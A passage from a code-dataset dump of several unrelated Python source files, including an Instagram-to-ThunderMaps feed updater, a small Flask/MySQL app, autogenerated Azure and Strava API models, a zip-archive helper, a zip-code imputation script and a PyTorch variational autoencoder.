\".join(desc_lst)\n return desc_str\n\n def format_feed(self):\n listings = []\n c_time = str(time.time()-3600)\n\n # Number of pages to go through before stopping. Going further will obvs produce more reports.\n max_pages = 2\n\n # Tag we're looking for\n tag = \"nature\"\n\n # Starting URL sorted by most recent tagged\n r_url = \"https://api.instagram.com/v1/tags/\"+tag+\"/media/recent?&count=64&min_timestamp=\"+c_time+\"&client_id=\"+self.instagram_id\n\n while max_pages > 0:\n print(\"Pages left:\", max_pages)\n r = requests.get(r_url)\n print(\"Status:\", r.status_code)\n\n data = r.json()\n entries = data['data']\n num_found = len(entries)\n\n for i in range(0, num_found):\n caption = entries[i].get('caption', None)\n location = entries[i].get('location', None)\n media_type = entries[i]['type']\n\n # Skip if there's no caption data\n if caption is None:\n continue\n\n # Skip if it's a video\n if media_type is \"video\":\n continue\n\n # Skip if there's no geodata\n if location is None:\n print(\"no location data\")\n continue\n else:\n lat = location.get('latitude', None)\n long = location.get('longitude', None)\n if lat is None:\n continue\n\n date = datetime.fromtimestamp(int(entries[i]['caption']['created_time'])).strftime('%Y-%m-%d %H:%M:%S')\n guid = caption['id']\n\n self.title = caption['text']\n self.username = caption['from']['username']\n\n self.likes = str(entries[i]['likes']['count'])\n self.url = entries[i]['link']\n self.image = entries[i]['images']['standard_resolution']['url']\n\n self.loc_name = location.get('name', None)\n\n listing = {\"occurred_on\":date,\n \"latitude\":lat,\n \"longitude\":long,\n \"description\": self.getDescription(),\n \"source_id\":guid,\n \"attachment_url\":self.image}\n\n #create a list of dictionaries\n listings.insert(0, listing)\n\n #paginate\n r_url = data['pagination']['next_url']\n max_pages = max_pages -1\n\n print(\"Sending:\", len(listings), \"reports to ThunderMaps.\")\n return listings\n\nclass Updater:\n def __init__(self, key, account_id):\n self.tm_obj = thundermaps.ThunderMaps(key)\n self.feed_obj = Feed(INSTAGRAM_ID, INSTAGRAM_SECRET)\n self.account_id = account_id\n\n def start(self, update_interval=-1):\n # Try to load the source_ids already posted.\n source_ids = []\n try:\n source_ids_file = open(SOURCE_ID_FILE, \"r\")\n source_ids = [i.strip() for i in source_ids_file.readlines()]\n source_ids_file.close()\n except Exception as e:\n print(\"! WARNING: No valid cache file was found. This may cause duplicate reports.\")\n\n # Run until interrupt received.\n while True:\n # Load the data from the data feed.\n # This method should return a list of dicts.\n items = self.feed_obj.format_feed()\n\n # Create reports for the listings.\n reports = []\n for report in items:\n\n # Add the report to the list of reports if it hasn't already been posted.\n if report[\"source_id\"] not in source_ids:\n reports.append(report)\n print(\"Adding %s\" % report[\"source_id\"])\n\n # Add the source id to the list.\n source_ids.append(report[\"source_id\"])\n\n # If there is at least one report, send the reports to Thundermaps.\n if len(reports) > 0:\n # Upload 10 at a time.\n for some_reports in [reports[i:i+10] for i in range(0, len(reports), 10)]:\n for report in some_reports:\n\n # Add image\n image_id = self.tm_obj.uploadImage(report[\"attachment_url\"])\n\n if image_id != None:\n print(\"[%s] Uploaded image for listing %s...\" % (time.strftime(\"%c\"), report[\"source_id\"]))\n report[\"attachment_ids\"] = [image_id]\n del report[\"attachment_url\"]\n\n print(\"Sending %d reports...\" % len(some_reports))\n self.tm_obj.sendReports(self.account_id, some_reports)\n time.sleep(3)\n\n # Save the posted source_ids.\n try:\n source_ids_file = open(SOURCE_ID_FILE, \"w\")\n for i in source_ids:\n source_ids_file.write(\"%s\\n\" % i)\n source_ids_file.close()\n except Exception as e:\n print(\"! WARNING: Unable to write cache file.\")\n print(\"! If there is an old cache file when this script is next run, it may result in duplicate reports.\")\n\n # Waiting the update interval\n # If updating daily\n if update_interval < 0:\n t = time.localtime()\n t = time.mktime(t[:3] + (0, 0, 0) + t[6:])\n update_interval_s = (t + 24*3600 - time.time())\n print(\"* Will check again tomorrow.\")\n else:\n # Convert hours into seconds\n update_interval_s = update_interval*60*60\n\n if update_interval < 1:\n print(\"* Will check again in\", update_interval_s, \"seconds.\")\n else:\n print(\"* Will check again in\", update_interval, \"hours.\")\n\n time.sleep(update_interval_s)\n\nupdater = Updater(THUNDERMAPS_API_KEY, THUNDERMAPS_ACCOUNT_ID)\nupdater.start(1)","sub_path":"Examples/Instagram/instagram.py","file_name":"instagram.py","file_ext":"py","file_size_in_byte":7149,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"332753950","text":"from flask import Flask, request\nimport os\n\nimport pymysql\nimport pymysql.cursors\n\napp = Flask(__name__)\n\n# Connect to the database\n\n\n# with connection.cursor() as cursor:\n# # Create a new record\n# sql = \"INSERT INTO `users` (`email`, `password`) VALUES (%(email)s, %(password)s)\"\n# params = {\n# \"email\": 'abc@line.me',\n# \"password\": 'very-secret'\n# }\n# cursor.execute(sql, params)\n# connection.commit()\n\n@app.route('/')\ndef hello():\n connection = pymysql.connect(host=os.environ.get('CLEARDB_DATABASE_HOST'),\n user=os.environ.get('CLEARDB_DATABASE_USER'),\n password=os.environ.get('CLEARDB_DATABASE_PASSWORD'),\n db=os.environ.get('CLEARDB_DATABASE_DB'),\n charset='utf8mb4',\n cursorclass=pymysql.cursors.DictCursor)\n\n with connection.cursor() as cursor:\n # Read a single record\n sql = \"SELECT `id`, `email` FROM `users` WHERE `email`=%s\"\n cursor.execute(sql, ('abc@line.me',))\n result = cursor.fetchone()\n print(result)\n return f'Hello, Heroku {result[\"email\"]}!'\n\n\nif __name__ == 'main':\n app.run() # 啟動伺服器\n","sub_path":"01_MySQL/01_Heroku_SQL/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1262,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"58234261","text":"# coding=utf-8\n# --------------------------------------------------------------------------\n# Copyright (c) Microsoft Corporation. All rights reserved.\n# Licensed under the MIT License. See License.txt in the project root for\n# license information.\n#\n# Code generated by Microsoft (R) AutoRest Code Generator.\n# Changes may cause incorrect behavior and will be lost if the code is\n# regenerated.\n# --------------------------------------------------------------------------\n\nfrom msrest.serialization import Model\n\n\nclass ManagedRuleSet(Model):\n \"\"\"Defines a managed rule set.\n\n All required parameters must be populated in order to send to Azure.\n\n :param rule_set_type: Required. Defines the rule set type to use.\n :type rule_set_type: str\n :param rule_set_version: Required. Defines the version of the rule set to\n use.\n :type rule_set_version: str\n :param exclusions: Describes the exclusions that are applied to all rules\n in the set.\n :type exclusions: list[~azure.mgmt.frontdoor.models.ManagedRuleExclusion]\n :param rule_group_overrides: Defines the rule group overrides to apply to\n the rule set.\n :type rule_group_overrides:\n list[~azure.mgmt.frontdoor.models.ManagedRuleGroupOverride]\n \"\"\"\n\n _validation = {\n 'rule_set_type': {'required': True},\n 'rule_set_version': {'required': True},\n }\n\n _attribute_map = {\n 'rule_set_type': {'key': 'ruleSetType', 'type': 'str'},\n 'rule_set_version': {'key': 'ruleSetVersion', 'type': 'str'},\n 'exclusions': {'key': 'exclusions', 'type': '[ManagedRuleExclusion]'},\n 'rule_group_overrides': {'key': 'ruleGroupOverrides', 'type': '[ManagedRuleGroupOverride]'},\n }\n\n def __init__(self, **kwargs):\n super(ManagedRuleSet, self).__init__(**kwargs)\n self.rule_set_type = kwargs.get('rule_set_type', None)\n self.rule_set_version = kwargs.get('rule_set_version', None)\n self.exclusions = kwargs.get('exclusions', None)\n self.rule_group_overrides = kwargs.get('rule_group_overrides', None)\n","sub_path":"src/front-door/azext_front_door/vendored_sdks/models/managed_rule_set.py","file_name":"managed_rule_set.py","file_ext":"py","file_size_in_byte":2068,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"643209070","text":"import asyncio\nimport os\n\n\nARCHIVE_FILES_PATH = os.getenv('ARCHIVE_FILES_PATH', 'test_photos')\n\n\nasync def archive_file(archive_hash):\n path = f'{ARCHIVE_FILES_PATH}/{archive_hash}/'\n if not os.path.exists(path):\n raise OSError(path)\n\n proc = await asyncio.subprocess.create_subprocess_exec(\n 'zip', '-r', '-',\n path,\n stdout=asyncio.subprocess.PIPE,\n stderr=asyncio.subprocess.PIPE,\n )\n\n return proc\n","sub_path":"server/archive.py","file_name":"archive.py","file_ext":"py","file_size_in_byte":451,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"588494372","text":"from sklearn import cross_validation, grid_search, neighbors\n\ndef zip_parser(x):\n z = x.split()[-1][:5]\n try:\n zint = int(z)\n if len(z) == 5:\n return z\n else:\n return u''\n except:\n return u''\n \nif False:\n df = pd.read_hdf('./data/df_cleaned_res_only.hd5','df')\n df['zipcode'] = df.CITYSTZIP.map(lambda r: zip_parser(r))\n\n #print df.zipcode.unique()\n\n # extract zips from CITYSTZIP column\n df['zipcode'] = df.CITYSTZIP.map(lambda r: zip_parser(r))\n \n\n # Use nearest neighbors to fill in missing\n param_grid = {\"n_neighbors\": range(4,10)}\n zip_model = grid_search.GridSearchCV( neighbors.KNeighborsClassifier(),\n param_grid=param_grid,\n cv=cross_validation.ShuffleSplit(len(df.index), n_iter=20, \n test_size=0.2,random_state=42) )\n\n zip_model.fit(df[['latitude','longitude']],df['zipcode'])\n for key in param_grid.keys():\n grid_score_plotter(zip_model,key)\n\n badzip = df.zipcode==''\n df.loc[badzip,'zipcode'] = zip_model.predict(df.loc[badzip,('latitude','longitude')])\n \n df.to_hdf('./data/df_cleaned_zipcodes.hd5','df')\n","sub_path":"parse_zip.py","file_name":"parse_zip.py","file_ext":"py","file_size_in_byte":1119,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"92916500","text":"# VAE.py - Oliver Tsang, July 2019\n#\n# Class to hold the Variational Autoencoder class (which doubles as a Time-lagged autoencoder)\n#\n# runVAE.py is in charge of the actual initialization and training on the simulation datasets.\n#\n# Uses a network built with PyTorch: two parallel encoding networks -- one to store mean values\n# and one to store log-variances of the probability distribution in the latent space. The restriction\n# on how much it saves is the n_z variable (number of dimensions for latent variable z).\n# There's a single decoding network that pulls from the probability distribution and tries to\n# recreate the original input.\n\nimport numpy as np\nimport torch\nfrom torch import nn\nfrom torch import optim\nfrom torch.utils.data import DataLoader\nimport matplotlib.pyplot as plt\nimport pdb\n\n\n# holds both encoder and decoder\n#\n# Class VAE has the following functions:\n# __init__ - initialization\n# encode - first half of the forward pass\n# sample - sample from the latent variable's probability distribution to feed to the decoder\n# decode - tries to reconstruct the original input (or time-lagged input in the case of the TAE)\n# vae_loss - computes the loss function given predictions and desired outputs\n# run_data - runs through the whole data set\n# plot_test - makes pretty plots of the model's predictions on the time series\n# latent_plot2d - for 2D data, it plots the latent subspace on top of the distribution of real data\n# and also plots the distribution of a 1D latent variable\n#\n# Note that whether it behaves like a time-lagged autoencoder or not is up to the training process\nclass VAE(nn.Module):\n def __init__(self,\n in_dim, # input dimension -- redundant with encoding layers but more convenient\n n_z, # number of latent variables\n encode_layers_means,\n encode_layers_vars,\n decode_layers_means,\n decode_layers_vars,\n propagator_layers = None,\n time_lagged = True,\n variational = True,\n pxz_var_init = 1, # quasi-regularization term\n discount = 0,\n data_type = np.float,\n pref_dataset=None): # for use with the testing functions\n \"\"\"Set up the variational autoencoder\"\"\"\n super(VAE, self).__init__() # initialization inherited from nn.Module\n self.always_random_sample = False # for the sampling process of latent variables\n # set up the encoder\n # one for means, one for variance -- there's no reason they should share layers\n self.in_dim = in_dim\n self.n_z = n_z\n self.encode_net_means = nn.Sequential(*encode_layers_means)\n self.encode_net_vars = nn.Sequential(*encode_layers_vars)\n\n # set up the propagator\n if time_lagged and propagator_layers is not None:\n self.propagator_net = nn.Sequential(*propagator_layers)\n else:\n self.propagator_net = None\n\n # set up the decoder\n self.out_lv_ests = nn.Parameter(torch.tensor([pxz_var_init]*in_dim, dtype = data_type))\n self.decode_net_means = nn.Sequential(*decode_layers_means)\n self.decode_net_vars = nn.Sequential(*decode_layers_vars)\n\n self.variational = variational\n self.time_lagged = time_lagged\n self.pref_dataset = pref_dataset\n # quasi regularization factor...\n self.varnet_weight = torch.tensor(-1, dtype=data_type)\n self.pxz_var_init = pxz_var_init\n self.discount = discount\n\n # Ensure the networks have the right data types\n # PyTorch can be touchy if some variables are floats and others are doubles\n self.data_type = data_type\n converter = lambda net: net.float() if self.data_type == torch.float else net.double()\n self.encode_net_means = converter(self.encode_net_means)\n self.encode_net_vars = converter(self.encode_net_vars)\n self.decode_net_means = converter(self.decode_net_means)\n self.decode_net_vars = converter(self.decode_net_vars)\n if self.time_lagged and propagator_layers is not None:\n self.propagator_net = converter(self.propagator_net)\n\n def encode(self, x):\n \"\"\"Encoding from x (input) to z (latent).\n Returns the probability distribution in terms of mean and log-variance of a gaussian\"\"\"\n # saves mu and log_var to compute the loss\n # saves x for debugging convenience\n self.x = x\n self.mu = self.encode_net_means(x) # simple mean\n self.log_var = self.encode_net_vars(x) # guess the log-variance for numerical stability\n self.z = (self.mu, self.log_var)\n return self.z\n\n def sample(self, mu, log_var):\n \"\"\"Does the sampling outside of the backpropagation (see the reparameterization trick)\"\"\"\n # In training mode, we want to carry the propagation through\n # otherwise, we just return the maximum likelihood mu\n # Can always change this in the __init__ function\n res = mu\n if self.variational and (self.training or self.always_random_sample):\n eps_shape = log_var.shape\n eps = torch.tensor(np.random.normal(0, 1, eps_shape), dtype=self.data_type)\n # eps contains a randomly pulled number for each example in the minibatch\n res += torch.exp(log_var*0.5) * eps # elementwise multiplication is desired\n # # Trying to encourage periodicity...\n # period = 5.0/np.pi\n # res = ((res + period/2) % period) - period/2 # from -period/2 to +period/2\n return res\n\n def decode(self, z):\n \"\"\"Takes a single z sample and attempts to reconstruct the inputs\"\"\"\n output_mu = self.decode_net_means(z)\n output_lv = self.out_lv_ests + torch.clamp(self.varnet_weight, 0,1) * self.decode_net_vars(z)\n self.xp = (output_mu, output_lv)\n return self.xp\n\n # run through encoder, sampler, and decoder\n def forward(self, x, return_np = False):\n \"\"\"Calls the other functions to run a batch/data set through the proper networks.\n To deal with the possibility of propagation, we return a tuple - first element is\n is the number of future steps to expect in the tensor...\n \"\"\"\n # if we feed in too many dimensions, just take the first self.in_dim\n if x.__class__ == np.ndarray:\n x = torch.tensor(x, dtype = self.data_type)\n if x.dim() == 2 and x.shape[-1] != self.in_dim:\n x = x[:, :self.in_dim]\n z_dist = self.encode(x) # 1. Encode\n z_sample = self.sample(*z_dist) # 2. Sample\n xp_dist = self.decode(z_sample) # 3. Decode\n x_decoded = self.sample(*xp_dist) # 4. Sample\n\n if self.always_random_sample and not self.training:\n xp_dist = (x_decoded, xp_dist[1])\n\n if not self.time_lagged or self.propagator_net is None:\n return (0, xp_dist[0][np.newaxis], xp_dist[1][np.newaxis])\n else:\n fut_steps = 1\n self.z_fut = z_sample\n\n all_means = torch.zeros((1+fut_steps, *(xp_dist[0].shape)), dtype=self.data_type)\n all_lvs = torch.zeros((1+fut_steps, *(xp_dist[1].shape)), dtype=self.data_type)\n all_means[0], all_lvs[0] = xp_dist\n\n # propagate in latent space and decode\n self.z_fut = self.propagator_net(self.z_fut) # + self.z_fut\n all_means[1+0], all_lvs[1+0] = self.decode(self.z_fut)\n if return_np:\n all_means = all_means.detach().numpy()\n all_lvs = all_lvs.detach().numpy()\n return (fut_steps, all_means, all_lvs)\n\n\n def vae_loss(self, pred_means, pred_lvs, truth, kl_lambda = 1):\n # -log p(x) = - E[log p(x|z)] + KL[q(z)||p(z)]\n #\n # E[log P (x | z)] - Reconstruction part\n # p(x|z) = Normal(D_m(z), D_s(s))\n #\n # -log p(x|z) = (x-Dm(z))**2/(2Ds(z)) + log Ds(z) + 0.5*log(2 pi)\n if not self.variational:\n self.rec_loss = torch.sum((pred_means - truth)**2) # maybe replace with a pytorch function\n else:\n self.rec_loss = 0.5*(np.log(2*np.pi) + pred_lvs\n + torch.exp(-pred_lvs)*(pred_means-truth)**2).sum()\n\n # KL[q(z|x) || p(z)] - Kullback-Leibler divergence\n # E [ log(q(z|x)) - log(p(z)) ] using Q for the weighting on the expected value\n # p(z) = Normal(0, 1)\n # in Information-Theoretic terms, the expected gain in information/description length\n # when pulling from probability distribution P instead of Q (expectation taken over Q)\n # Equation from https://wiseodd.github.io/techblog/2016/12/10/variational-autoencoder/\n # but probably in some paper (2-3 lines from Doersch + diagonal covariance matrix assn.)\n kl_div = 0\n if self.variational:\n kl_div = 0.5 * (0.8 * self.mu*self.mu - 1 - self.log_var + torch.exp(self.log_var)).sum()\n # kl_div = 0.5 * (self.mu*self.mu - 1 - self.log_var + torch.exp(self.log_var)).sum()\n\n return (self.rec_loss + kl_lambda * kl_div) / pred_means.shape[0]\n\n def just_encode(self, x):\n \"\"\"Runs data through just the encoder\"\"\"\n # if we feed in too many dimensions, just take the first self.in_dim\n if x.dim() == 2 and x.shape[-1] != self.in_dim:\n x = x[:, :self.in_dim]\n z_dist = self.encode(x)\n return z_dist[0].detach().numpy() # returns just the means\n\n def run_data(self, data=None, future = True):\n \"\"\"Runs the whole dataset through the network\"\"\"\n if data is None:\n if self.pref_dataset is None:\n return None\n data = self.pref_dataset\n self.eval()\n data = torch.tensor(data, dtype=self.data_type)\n _, recon, _ = self(data)\n return recon[1 if future and self.time_lagged else 0].detach().numpy()\n\n def plot_test(self, data=None, plot = True, axes=(None,1), ret = False, dt = 0, dims = None):\n \"\"\"Plots the predictions of the model and its latent variables\"\"\"\n if axes[0] is None:\n axes = (1+self.in_dim, axes[1])\n\n if dims is None:\n dims = range(min(self.in_dim, axes[0]-1))\n\n if data is None:\n if self.pref_dataset is None:\n return None\n data = self.pref_dataset\n bigdata = torch.tensor(data)\n _, outputs, _ = self(bigdata)\n outputs = outputs[0].detach().numpy()\n bigdata = bigdata.detach().numpy()\n latents = self.z[0].detach().numpy() # just give the means...\n if plot:\n plt.subplot(*axes, 1)\n plt.title(\"Latent variable%s (%d)\" % ((\"s\" if self.n_z>1 else \"\"), self.n_z))\n plt.suptitle(\"%s%sAutoencoder%s with decoder prob dist\" % \\\n (\"Variational \" if self.variational else \"\",\n \"Time-lagged \" if self.time_lagged else \"\",\n \" (w/explicit propagation)\" if (self.propagator_net is not None\n and self.time_lagged) else \"\"\n )\n )\n plt.plot(latents)\n # for i in range(min(self.in_dim, axes[0]-1))\n for i in range(len(dims)):\n plt.subplot(*axes, 2+i)\n plt.title(\"Particle %d\" % (i+1))\n # pdb.set_trace()\n plt.plot(bigdata[:,dims[i]], label = (\"Input %d\"% (dims[i]+1)))\n plt.plot(range(dt,dt+outputs.shape[0]), outputs[:,i], label = (\"Reconstruction %d\" % (dims[i]+1)))\n plt.legend(loc = 'lower right')\n plt.show()\n if ret:\n return outputs, latents\n\n def latent_plot(self, mode='reconstruction', data=None, bins = 60, save_name = None, show = True, axes = (0, 1)):\n \"\"\"Note that this is only designed for 2D spaces\n\n Arguments:\n values: Nx2 array holding a sequence of coordinates\n bins: number of bins to use when calling the histogram\n \"\"\"\n # Load the proper data set\n if data is None:\n if self.pref_dataset is None:\n return None\n data = self.pref_dataset\n\n if mode == 'latent dist' or mode == 'd' \\\n or mode == 'latent potential well' or mode == 'w':\n\n # plot the distribution of latent variables in latent space\n latents = self.just_encode(torch.tensor(data, dtype=self.data_type)) # get the mean score for each point on the grid\n Hlat, xedges = np.histogram(latents[:, axes], bins=bins)\n xpts = 0.5*(xedges[1:] + xedges[:-1])\n\n if mode == 'latent potential well' or mode == 'w':\n plt.plot(xpts, -np.log(Hlat+0.001)) # put a little padding in case of Hlat=0\n else:\n plt.plot(xpts, Hlat)\n if save_name is not None:\n plt.savefig(save_name)\n if show:\n plt.show()\n return\n\n # construct a mesh and histogram from the particle's distribution in space\n H, x_edges, y_edges = np.histogram2d(data[:,axes[0]], data[:,axes[1]], bins = bins)\n x_pts = 0.5 * (x_edges[:-1] + x_edges[1:])\n y_pts = 0.5 * (y_edges[:-1] + y_edges[1:])\n # grid = np.transpose([np.tile(x_pts, y_pts.shape[0]), np.repeat(y_pts, x_pts.shape[0])])\n grid = np.transpose([np.tile(y_pts, x_pts.shape[0]), np.repeat(x_pts, y_pts.shape[0])])\n grid = torch.tensor(grid, dtype = self.data_type)\n\n overlay_color = np.array((1,0.65, 0, 0))*0.7 # orange\n overlay_cloud = np.array((1,0.6,0.1, 0))*0.5 # also orange\n # overlay_cloud = np.array((0,0.2,0.13, 0))* 1.75 # green\n # overlay_color = np.array((1,0.56, 0, 0))*0.65\n # inv_overlay_color = np.array((1-0.65,1-0.56*0.65, 1, 0))\n\n\n if mode == 'latent potential well' or mode == 'w':\n # plot potential well in latent space\n latents = self.just_encode(torch.tensor(data, dtype=self.data_type)).flatten() # get the mean score for each point on the grid\n Hlat, xedges = np.histogram(latents, bins=bins)\n xpts = 0.5*(xedges[1:] + xedges[:-1])\n plt.plot(xpts, -np.log(Hlat+0.001)) # put a little cushion in case of a 0\n if save_name is not None:\n plt.savefig(save_name)\n if show:\n plt.show()\n else:\n plt.close()\n elif mode == 'latent val' or mode == 'l':\n # get the mean score for each point on the grid\n latents = self.just_encode(grid).reshape(bins, bins)\n latents -= latents.min()\n latents /= latents.max()\n pic = latents[..., np.newaxis] * overlay_color *2\n pic[..., 3] = 1\n plt.imshow(pic)\n if save_name is not None:\n plt.savefig(save_name)\n if show:\n plt.show()\n else:\n plt.close()\n elif mode == 'background' or mode == 'b':\n plt.imshow(H, cmap = 'jet', alpha = 1)\n if save_name is not None:\n plt.savefig(save_name)\n if show:\n plt.show()\n else:\n plt.close()\n else:\n # initialize background image\n plt.imshow(H, cmap = 'jet', alpha = 0.67)\n pic = np.zeros((*H.shape, 4))\n opacity = 0.7\n\n # plot the requested features\n if mode == 'reconstruction' or mode == 'r':\n # attempts to reconstruct the original data\n prev_sample = self.always_random_sample\n prev_train = self.training\n self.always_random_sample = False\n self.eval()\n\n _, rec_points, _ = self(torch.tensor(data, dtype=self.data_type))\n rec_points = rec_points[0].clone().detach().numpy()\n\n H_rec, _, _ = np.histogram2d(rec_points[:,axes[0]], rec_points[:,axes[1]], bins=(x_edges,y_edges))\n H_rec -= H_rec.min()\n H_rec /= 6 * H_rec.std()\n pic = np.clip(H_rec[..., np.newaxis], 0, 1) * overlay_color\n vis = H_rec != 0\n pic[vis, 3] = np.clip(opacity, 0, 1)\n\n self.always_random_sample = prev_sample\n self.training = prev_train\n\n elif mode == 'random reconstruction' or mode == 'rr' \\\n or mode == 'rc' or mode == 'random cloud':\n # plt.close()\n # attempts to reconstruct the original data\n prev_sample = self.always_random_sample\n prev_train = self.training\n self.always_random_sample = True\n self.train()\n \n # Get a cloud of points\n _, rec_points, _ = self(torch.tensor(data, dtype=self.data_type))\n rec_points = rec_points[0].clone().detach().numpy()\n\n H_rec, _, _ = np.histogram2d(rec_points[:,axes[0]], rec_points[:,axes[1]], bins=(x_edges,y_edges))\n H_rec -= H_rec.min()\n H_rec /= 6 * H_rec.std()\n H_clipped = np.clip(H_rec[..., np.newaxis], 0, 1)\n vis = H_rec >= 0.05 * H_rec.std()\n pic = H_clipped * overlay_cloud\n\n # manage opacity\n pic[vis, 3] = np.sqrt(np.clip(H_rec[vis], 0, 0.85))\n\n if (mode == 'rr' or mode == 'random reconstruction'):\n # Get the lines\n self.always_random_sample = False\n self.eval()\n _, rec_points, _ = self(torch.tensor(data, dtype=self.data_type))\n rec_points = rec_points[0].clone().detach().numpy()\n H_rec, _, _ = np.histogram2d(rec_points[:,axes[0]], rec_points[:,axes[1]], bins=(x_edges,y_edges))\n H_rec -= H_rec.min()\n H_rec /= 10 * H_rec.std()\n line = np.clip(H_rec[..., np.newaxis] * 1, 0, 1) * overlay_color\n vis = H_rec != 0\n pic[vis,:3] = line[vis,:3]\n pic[vis, 3] = 0.85\n pic = np.clip(pic, 0, 1)\n \n # reset state\n self.always_random_sample = prev_sample\n self.training = prev_train\n\n elif mode == 'grid rep' or mode == 'g':\n # shows the projection of the space onto the latent space\n # _, grid_points = self(torch.tensor(grid, dtype=self.data_type))\n _, grid_points, _ = self(grid)\n grid_points = grid_points[0].clone().detach().numpy()\n H_grid, _, _ = np.histogram2d(grid_points[:,0], grid_points[:,1], bins=(x_edges,y_edges))\n H_grid -= H_grid.min()\n H_grid /= 6 * H_grid.std()\n pic = np.clip(H_grid[..., np.newaxis] * overlay_color, 0, 1)\n vis = H_grid != 0\n pic[vis, 3] = np.clip(opacity, 0, 1)\n plt.imshow(pic)\n if save_name is not None:\n plt.savefig(save_name)\n if show:\n plt.show()\n","sub_path":"ToyWells/VAE.py","file_name":"VAE.py","file_ext":"py","file_size_in_byte":19408,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"593393941","text":"# coding: utf-8\n\n\"\"\"\n Strava API v3\n\n The [Swagger Playground](https://developers.strava.com/playground) is the easiest way to familiarize yourself with the Strava API by submitting HTTP requests and observing the responses before you write any client code. It will show what a response will look like with different endpoints depending on the authorization scope you receive from your athletes. To use the Playground, go to https://www.strava.com/settings/api and change your “Authorization Callback Domain” to developers.strava.com. Please note, we only support Swagger 2.0. There is a known issue where you can only select one scope at a time. For more information, please check the section “client code” at https://developers.strava.com/docs. # noqa: E501\n\n OpenAPI spec version: 3.0.0\n \n Generated by: https://github.com/swagger-api/swagger-codegen.git\n\"\"\"\n\n\nimport pprint\nimport re # noqa: F401\n\nimport six\n\nfrom swagger_client.configuration import Configuration\n\n\nclass DetailedSegment(object):\n \"\"\"NOTE: This class is auto generated by the swagger code generator program.\n\n Do not edit the class manually.\n \"\"\"\n\n \"\"\"\n Attributes:\n swagger_types (dict): The key is attribute name\n and the value is attribute type.\n attribute_map (dict): The key is attribute name\n and the value is json key in definition.\n \"\"\"\n swagger_types = {\n 'created_at': 'datetime',\n 'updated_at': 'datetime',\n 'total_elevation_gain': 'float',\n 'map': 'PolylineMap',\n 'effort_count': 'int',\n 'athlete_count': 'int',\n 'hazardous': 'bool',\n 'star_count': 'int'\n }\n\n attribute_map = {\n 'created_at': 'created_at',\n 'updated_at': 'updated_at',\n 'total_elevation_gain': 'total_elevation_gain',\n 'map': 'map',\n 'effort_count': 'effort_count',\n 'athlete_count': 'athlete_count',\n 'hazardous': 'hazardous',\n 'star_count': 'star_count'\n }\n\n def __init__(self, created_at=None, updated_at=None, total_elevation_gain=None, map=None, effort_count=None, athlete_count=None, hazardous=None, star_count=None, _configuration=None): # noqa: E501\n \"\"\"DetailedSegment - a model defined in Swagger\"\"\" # noqa: E501\n if _configuration is None:\n _configuration = Configuration()\n self._configuration = _configuration\n\n self._created_at = None\n self._updated_at = None\n self._total_elevation_gain = None\n self._map = None\n self._effort_count = None\n self._athlete_count = None\n self._hazardous = None\n self._star_count = None\n self.discriminator = None\n\n if created_at is not None:\n self.created_at = created_at\n if updated_at is not None:\n self.updated_at = updated_at\n if total_elevation_gain is not None:\n self.total_elevation_gain = total_elevation_gain\n if map is not None:\n self.map = map\n if effort_count is not None:\n self.effort_count = effort_count\n if athlete_count is not None:\n self.athlete_count = athlete_count\n if hazardous is not None:\n self.hazardous = hazardous\n if star_count is not None:\n self.star_count = star_count\n\n @property\n def created_at(self):\n \"\"\"Gets the created_at of this DetailedSegment. # noqa: E501\n\n The time at which the segment was created. # noqa: E501\n\n :return: The created_at of this DetailedSegment. # noqa: E501\n :rtype: datetime\n \"\"\"\n return self._created_at\n\n @created_at.setter\n def created_at(self, created_at):\n \"\"\"Sets the created_at of this DetailedSegment.\n\n The time at which the segment was created. # noqa: E501\n\n :param created_at: The created_at of this DetailedSegment. # noqa: E501\n :type: datetime\n \"\"\"\n\n self._created_at = created_at\n\n @property\n def updated_at(self):\n \"\"\"Gets the updated_at of this DetailedSegment. # noqa: E501\n\n The time at which the segment was last updated. # noqa: E501\n\n :return: The updated_at of this DetailedSegment. # noqa: E501\n :rtype: datetime\n \"\"\"\n return self._updated_at\n\n @updated_at.setter\n def updated_at(self, updated_at):\n \"\"\"Sets the updated_at of this DetailedSegment.\n\n The time at which the segment was last updated. # noqa: E501\n\n :param updated_at: The updated_at of this DetailedSegment. # noqa: E501\n :type: datetime\n \"\"\"\n\n self._updated_at = updated_at\n\n @property\n def total_elevation_gain(self):\n \"\"\"Gets the total_elevation_gain of this DetailedSegment. # noqa: E501\n\n The segment's total elevation gain. # noqa: E501\n\n :return: The total_elevation_gain of this DetailedSegment. # noqa: E501\n :rtype: float\n \"\"\"\n return self._total_elevation_gain\n\n @total_elevation_gain.setter\n def total_elevation_gain(self, total_elevation_gain):\n \"\"\"Sets the total_elevation_gain of this DetailedSegment.\n\n The segment's total elevation gain. # noqa: E501\n\n :param total_elevation_gain: The total_elevation_gain of this DetailedSegment. # noqa: E501\n :type: float\n \"\"\"\n\n self._total_elevation_gain = total_elevation_gain\n\n @property\n def map(self):\n \"\"\"Gets the map of this DetailedSegment. # noqa: E501\n\n\n :return: The map of this DetailedSegment. # noqa: E501\n :rtype: PolylineMap\n \"\"\"\n return self._map\n\n @map.setter\n def map(self, map):\n \"\"\"Sets the map of this DetailedSegment.\n\n\n :param map: The map of this DetailedSegment. # noqa: E501\n :type: PolylineMap\n \"\"\"\n\n self._map = map\n\n @property\n def effort_count(self):\n \"\"\"Gets the effort_count of this DetailedSegment. # noqa: E501\n\n The total number of efforts for this segment # noqa: E501\n\n :return: The effort_count of this DetailedSegment. # noqa: E501\n :rtype: int\n \"\"\"\n return self._effort_count\n\n @effort_count.setter\n def effort_count(self, effort_count):\n \"\"\"Sets the effort_count of this DetailedSegment.\n\n The total number of efforts for this segment # noqa: E501\n\n :param effort_count: The effort_count of this DetailedSegment. # noqa: E501\n :type: int\n \"\"\"\n\n self._effort_count = effort_count\n\n @property\n def athlete_count(self):\n \"\"\"Gets the athlete_count of this DetailedSegment. # noqa: E501\n\n The number of unique athletes who have an effort for this segment # noqa: E501\n\n :return: The 